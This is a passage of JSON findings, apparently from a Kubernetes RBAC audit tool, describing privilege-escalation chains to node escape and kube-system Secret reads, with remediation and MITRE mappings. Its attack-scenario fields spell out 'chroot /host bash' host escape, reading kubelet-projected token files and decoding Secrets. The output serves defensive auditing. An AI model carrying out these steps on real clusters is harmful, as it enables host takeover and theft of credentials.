        "source_role": "cr-ephemeral"
      },
      {
        "step": 2,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/privesc-fixtures/sa-pod-exec:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.1,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-exec` can reach **node escape** (host root) in 2 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-exec` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/cloud-eks-test/default` via `pod_exec` (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount cloud-eks-test/default\n  2. `ServiceAccount/cloud-eks-test/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-exec",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-exec` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-pod-exec` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-pod-exec`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-exec`, the attacker uses `pods/exec` (`create,get pods/exec|pods/attach`) to open a shell inside `ServiceAccount/cloud-eks-test/default` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/cloud-eks-test/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create,get pods/exec|pods/attach]",
        "2. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "pod_exec",
      "hop_count": 2,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create,get pods/exec|pods/attach` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/cloud-eks-test/default`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create,get pods/exec|pods/attach` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/cloud-eks-test/default`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-exec",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "cloud-eks-test"
        },
        "permission": "create,get pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount cloud-eks-test/default",
        "source_binding": "crb-pod-exec",
        "source_role": "cr-pod-exec"
      },
      {
        "step": 2,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:User/gw-deployer:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.1,
    "category": "privilege_escalation",
    "title": "`User/gw-deployer` can reach **node escape** (host root) in 2 hop(s)",
    "description": "Subject `User/gw-deployer` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `User/gw-deployer` → `ServiceAccount/gw-workloads/gw-web-sa` via `workload_create_token_theft` (create deployments): can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa\n  2. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "User",
      "name": "gw-deployer"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `User/gw-deployer` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `User/gw-deployer` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `User/gw-deployer`.",
      "Acting as `User/gw-deployer`, the attacker creates a workload (`create deployments`) whose pod template runs as `ServiceAccount/gw-workloads/gw-web-sa`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments]",
        "2. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 2,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "workload_create_token_theft",
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create deployments` that enables the first hop (`User/gw-deployer` → `ServiceAccount/gw-workloads/gw-web-sa`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create deployments` that enables the first hop (`User/gw-deployer` → `ServiceAccount/gw-workloads/gw-web-sa`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "User",
          "name": "gw-deployer"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "permission": "create deployments",
        "gains": "can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa",
        "source_binding": "gw-deployer",
        "source_role": "gw-deployer",
        "binding_namespace": "gw-workloads"
      },
      {
        "step": 2,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:User/gw-patcher:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.1,
    "category": "privilege_escalation",
    "title": "`User/gw-patcher` can reach **node escape** (host root) in 2 hop(s)",
    "description": "Subject `User/gw-patcher` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `User/gw-patcher` → `ServiceAccount/gw-workloads/gw-web-sa` via `workload_hijack` (patch deployments): can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa\n  2. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "User",
      "name": "gw-patcher"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `User/gw-patcher` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `User/gw-patcher` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `User/gw-patcher`.",
      "Acting as `User/gw-patcher`, the attacker rewrites the pod template of an existing workload (`patch deployments`) so that its pods run the attacker's code as `ServiceAccount/gw-workloads/gw-web-sa`. The controller rolls out the change itself. The rewritten pods keep the rest of the workload's spec, including any host access it already had.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_hijack [patch deployments]",
        "2. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "workload_hijack",
      "hop_count": 2,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "workload_hijack",
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `patch deployments` that enables the first hop (`User/gw-patcher` → `ServiceAccount/gw-workloads/gw-web-sa`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `patch deployments` that enables the first hop (`User/gw-patcher` → `ServiceAccount/gw-workloads/gw-web-sa`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_hijack",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "User",
          "name": "gw-patcher"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "permission": "patch deployments",
        "gains": "can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa",
        "source_binding": "gw-patcher",
        "source_role": "gw-patcher",
        "binding_namespace": "gw-workloads"
      },
      {
        "step": 2,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/foothold-ops/foothold-named-execer:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.049999999999999,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/foothold-ops/foothold-named-execer` can read **kube-system Secrets** in 2 hop(s)",
    "description": "Subject `ServiceAccount/foothold-ops/foothold-named-execer` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/foothold-ops/foothold-named-execer` → `ServiceAccount/foothold-exec/foothold-reader` via `pod_exec` (create pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-exec/foothold-reader\n  2. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `read_secrets` (get,list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-named-execer",
      "namespace": "foothold-ops"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/foothold-ops/foothold-named-execer` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/foothold-ops/foothold-named-execer`.",
      "Acting as `ServiceAccount/foothold-ops/foothold-named-execer`, the attacker uses `pods/exec` (`create pods/exec|pods/attach`) to open a shell inside `ServiceAccount/foothold-exec/foothold-reader` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get,list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create pods/exec|pods/attach]",
        "2. read_secrets [get,list secrets]"
      ],
      "first_action": "pod_exec",
      "hop_count": 2,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `create pods/exec|pods/attach` that enables the first hop (`ServiceAccount/foothold-ops/foothold-named-execer` → `ServiceAccount/foothold-exec/foothold-reader`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `create pods/exec|pods/attach` that enables the first hop (`ServiceAccount/foothold-ops/foothold-named-execer` → `ServiceAccount/foothold-exec/foothold-reader`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-named-execer",
          "namespace": "foothold-ops"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "permission": "create pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount foothold-exec/foothold-reader",
        "source_binding": "foothold-named-execer",
        "source_role": "foothold-named-execer",
        "binding_namespace": "foothold-exec"
      },
      {
        "step": 2,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list secrets",
